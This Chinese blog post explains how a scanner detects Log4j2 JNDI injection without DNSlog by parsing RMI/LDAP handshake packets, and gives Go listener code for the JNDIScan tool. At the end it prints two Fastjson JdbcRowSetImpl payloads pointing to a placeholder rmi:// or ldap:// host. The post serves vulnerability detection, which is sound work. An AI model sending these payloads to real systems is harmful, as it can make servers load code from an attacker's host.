浅谈Log4j2不借助dnslog的检测(二)

简介: 浅谈Log4j2不借助dnslog的检测

(3)Client -> Server

接下来客户端会向服务端发送如下的数据,报文如下

0000   00 0b 31 39 32 2e 31 36 38 2e 31 2e 34 00 00 00   ..192.168.1.4...
0010   00

                                          .

其中0b表示一个内网地址长度,正好是192.168.1.4,其余部分用00填充

于是想到这里的地址是否可以伪造


(4)Server -> Client

接下来服务端需要向客户端传一个空(至关重要)


(5)Client -> Server

下一步是客户端继续向服务端发送,报文以0x50开头,表示call操作

Call:
  0x50 CallData

报文如下,开头的aced0005是经典序列化数据头,结尾的jlmz6v是我们需要的路径参数

0000   50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00   P....w".........
0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0020   02 44 15 4d c9 d4 e6 3b df 74 00 06 6a 6c 6d 7a   .D.M...;.t..jlmz
0030   36 76                                             6v

现在问题来了,这是什么类的序列化数据

想办法对这个数据进行反序列化,发现报错

byte[] data = new byte[]{
  (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x77, (byte)0x22,
  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
  (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
  (byte)0x00, (byte)0x02, (byte)0x44, (byte)0x15, (byte)0x4d, (byte)0xc9,
  (byte)0xd4, (byte)0xe6, (byte)0x3b, (byte)0xdf, (byte)0x74, (byte)0x00,
  (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76
};
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
System.out.println(obj);

在尝试研究后,发现这个序列化数据类似String

byte[] data = new byte[]{
  (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x74, (byte)0x00,
  (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76
};
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
// 打印:jlmz6v
System.out.println(obj);

发现字符串数据位于末尾,且之前有一个表示长度的字节,如这里06 6a 6c 6d 7a06表示jlmz6v长度为6

因此能否从后往前读,如果已读到的长度等于当前读到的字节代表的数字,那么认为已读到的字符串翻转后是路径参数

(这种手段也许会有误报,但由于字母的ASCII码数值很大,所以大概率不会出问题)


(6)实现

首先根据第一步判断是否为RMI协议

func checkRMI(data []byte) bool {
if data[0] == 0x4a &&
data[1] == 0x52 &&
data[2] == 0x4d &&
data[3] == 0x49 {
if data[4] != 0x00 {
return false
}
       // 0x01是官方规定的 0x02是实际抓包的结果
       // 所以可以认为0x01和0x02都为RMI协议
if data[5] != 0x01 && data[5] != 0x02 {
return false
}
if data[6] != 0x4b &&
data[6] != 0x4c &&
data[6] != 0x4d {
return false
}
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}

进一步获取路径参数比较麻烦

if checkRMI(buf) {
   // 需要发的数据(这里模拟了127.0.0.1)
   // 实际上这个数据可以随意模拟
   // 只要保证4e00开头
   data := []byte{
       0x4e, 0x00, 0x09, 0x31, 0x32,
       0x37, 0x2e, 0x30, 0x2e, 0x30,
       0x2e, 0x31, 0x00, 0x00, 0xc4, 0x12,
  }
   _, _ = (*conn).Write(data)
   // 这里读到的数据没有用处
   _, _ = (*conn).Read(buf)
   // 需要发一次空数据然后接收call信息
   _, _ = (*conn).Write([]byte{})
   _, _ = (*conn).Read(buf)
   var dataList []byte
   flag := false
   // 从后往前读因为空都是00
   for i := len(buf) - 1; i >= 0; i-- {
       // 这里要用一个flag来区分
       // 因为正常数据中也会含有00
       if buf[i] != 0x00 || flag {
           flag = true
           dataList = append(dataList, buf[i])
      }
  }
   // 拿到翻转路径索引
   // 原理在上文已写:
   // 已读到的长度等于当前读到的字节代表的数字
   // 那么认为已读到的字符串翻转后是路径参数
   var j int
   for i := 0; i < len(dataList); i++ {
       if int(dataList[i]) == i {
           j = i
      }
  }
   // 拿到翻转路径参数
   temp := dataList[0:j]
   pathBytes := &bytes.Buffer{}
   // 翻转后拿到真正的路径参数
   for i := len(temp) - 1; i >= 0; i-- {
       pathBytes.Write([]byte{dataList[i]})
  }
   ...
   _ = (*conn).Close()
   return
}

其他

最后分享一些简单的安全开发技术,对于想自己写安全工具师傅可能会有帮助


监听Socket收到的结果如何传递记录

构造一个非阻塞channel用于传输(给出默认长度就不阻塞了)

ResultChan = make(chan *model.Result, 100)

收到LDAPRMI请求后将数据输入channel

// LDAP
if "300c020101600702010304008000" == hexStr {
  // 记录数据
  res := &model.Result{
     Host:   (*conn).RemoteAddr().String(),
     Name:   "LDAP",
     Finger: hexStr,
  }
  // 数据输入channel
  ResultChan <- res
}

这时候其他的goroutine就可以取到channel中的结果

for {
   select {
       // 从channel中取到结果
       case res := <-ResultChan:
       // 输出结果
       info := fmt.Sprintf("%s->%s", res.Name, res.Host)
       log.Info("log4j2 detected")
       log.Info(info)
       // 第二个问题
       RenderChan <- res
  }
}


如何将结果传递给web页面

上面这个问题最后将结果放入了一个新的channel

RenderChan <- res

在开启web服务的时候,建一个goroutine用于接收这个数据

var (
   // 新channel的指针
resultList []*model.Result
   // 为什么要上锁参考下一个问题
lock       sync.Mutex
)
func StartHttpServer(renderChan *chan *model.Result) {
log.Info("start result http server")
   // 开启web服务
mux := http.NewServeMux()
mux.Handle(config.DefaultHttpPath, &resultHandler{})
server := &http.Server{
Addr:         fmt.Sprintf(":%d", config.HttpPort),
WriteTimeout: config.DefaultHttpTimeout,
Handler:      mux,
}
   // 负责接收实时数据
go listenData(renderChan)
_ = server.ListenAndServe()
}
func listenData(renderChan *chan *model.Result) {
for {
select {
case res := <-*renderChan:
           // 申请锁
           // 为什么要上锁参考下一个问题
lock.Lock()
           // 将结果加入到list中
resultList = append(resultList, res)
lock.Unlock()
}
}
}


如何做到web页面实时显示

上一个问题涉及到了互斥锁,正是为了解决这个问题

接收到请求会在HandlerServeHTTP中处理,上文中维护的全局列表在实时地添加最新扫描结果,如果这里直接取全局列表会出现并发问题,所以选用了互斥锁(也有其他的解决方案这种最简单)

type resultHandler struct {
}
func (handler *resultHandler) ServeHTTP(w http.ResponseWriter, _ *http.Request) {
   // 申请锁
lock.Lock()
   // 根据当前list中的结果返回
_, _ = w.Write(RenderHtml(resultList))
lock.Unlock()
}


如何让前端实时刷新:首先想到的是Ajax定时请求插入新的数据,实现起来麻烦

于是想到暴力办法,定时刷新页面

<script>
   function fresh()
  {
       window.location.reload();
  }
   setTimeout('fresh()',3000);
</script>


总结

项目地址:https://github.com/EmYiQing/JNDIScan

由于一些原因,木头师傅要求我在项目中删除了他的ID,但木头师傅在该项目中的贡献不可否认。由于同样的原因,我不得不删除其中的动态web页面,转为生成本地的html文件。做安全真难,写个工具都不能安稳

最后我将项目名称从Log4j2Scan改为JNDIScan并加入了一些小功能

  • 自动获取内网和外网的IP,方便用户直接使用
  • 添加路径外带参数的功能,方面批量扫描(使用UUID等方式来确认漏洞)

75939de49c18cbf3c37266f9417ef731_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

最后,该项目不仅可用于Log4j2的扫描,也可用于Fastjson等可能存在JDNI注入漏洞组件的扫描

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://your-ip:port/xxx",
"autoCommit": true
}
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://your-ip:port/params",
"autoCommit": true
}
相关文章
|
云安全 域名解析 安全
警惕主动外联!云防火墙检测拦截勒索、Muhstik僵尸网络等 Log4j2漏洞利用
近期,阿里云安全观测到,在 Apache Log4j2 漏洞攻击全程中,无论是在漏洞利用阶段,还是后续要进行验证和进一步的控制利用,大多涉及多次受害服务器的主动外联,云防火墙已陆续发现并拦截60余万次涉及勒索、挖矿家族的漏洞利用行为。
874 0
警惕主动外联!云防火墙检测拦截勒索、Muhstik僵尸网络等 Log4j2漏洞利用
|
6天前
|
算法
m基于log-MPA检测算法的SCMA通信链路matlab误码率仿真
MATLAB 2022a仿真实现了稀疏码多址接入(SCMA)算法,该算法利用码本稀疏性实现多用户高效接入。每个用户从码本中选取码字发送,接收端采用Log-MPA算法进行多用户检测。由于MAP检测计算复杂度高,故采用Log-MPA降低复杂性。仿真展示了不同迭代次数(1, 5, 10, 30)对误码率(BER)的影响,通过比较各次迭代的BER曲线,研究算法性能与迭代次数的关系。
33 0
|
10月前
|
Shell Perl
检测网卡流量,并按规定格式记录在日志中
检测网卡流量,并按规定格式记录在日志中
59 2
|
JSON 安全 Java
使用goby检测log4j漏洞
使用goby检测log4j漏洞
|
JSON 监控 Kubernetes
如何使用 Deepfence 检测和修复 Log4j2 漏洞
log4j2 漏洞(如 OpenSSL Heartbleed 和 Apache Struts 漏洞之前出现的漏洞)向互联网企业发出了深刻的提醒,一旦补丁可用,通过重新部署应用程序来响应漏洞并不够,您还必须能够发现在您的生产平台中实时利用漏洞并阻止它们。在本教程中,我们将向您展示如何使用 Deepfence ThreatMapper 和 ThreatStryker 来帮助您做到这一点。
122 0
|
安全 网络协议 Oracle
浅谈Log4j2不借助dnslog的检测(一)
浅谈Log4j2不借助dnslog的检测
428 0
浅谈Log4j2不借助dnslog的检测(一)
|
Apache
Apache HttpClient库里的日志实现检测原理
Apache HttpClient库里的日志实现检测原理
128 0
Apache HttpClient库里的日志实现检测原理
|
监控 安全 测试技术
如何通过审计安全事件日志检测密码喷洒(Password Spraying)攻击
许多渗透测试人员和攻击者通常都会使用一种被称为“密码喷洒(Password Spraying)”的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。
1433 0
|
4天前
|
关系型数据库 MySQL 数据库
mysql数据库bin-log日志管理
mysql数据库bin-log日志管理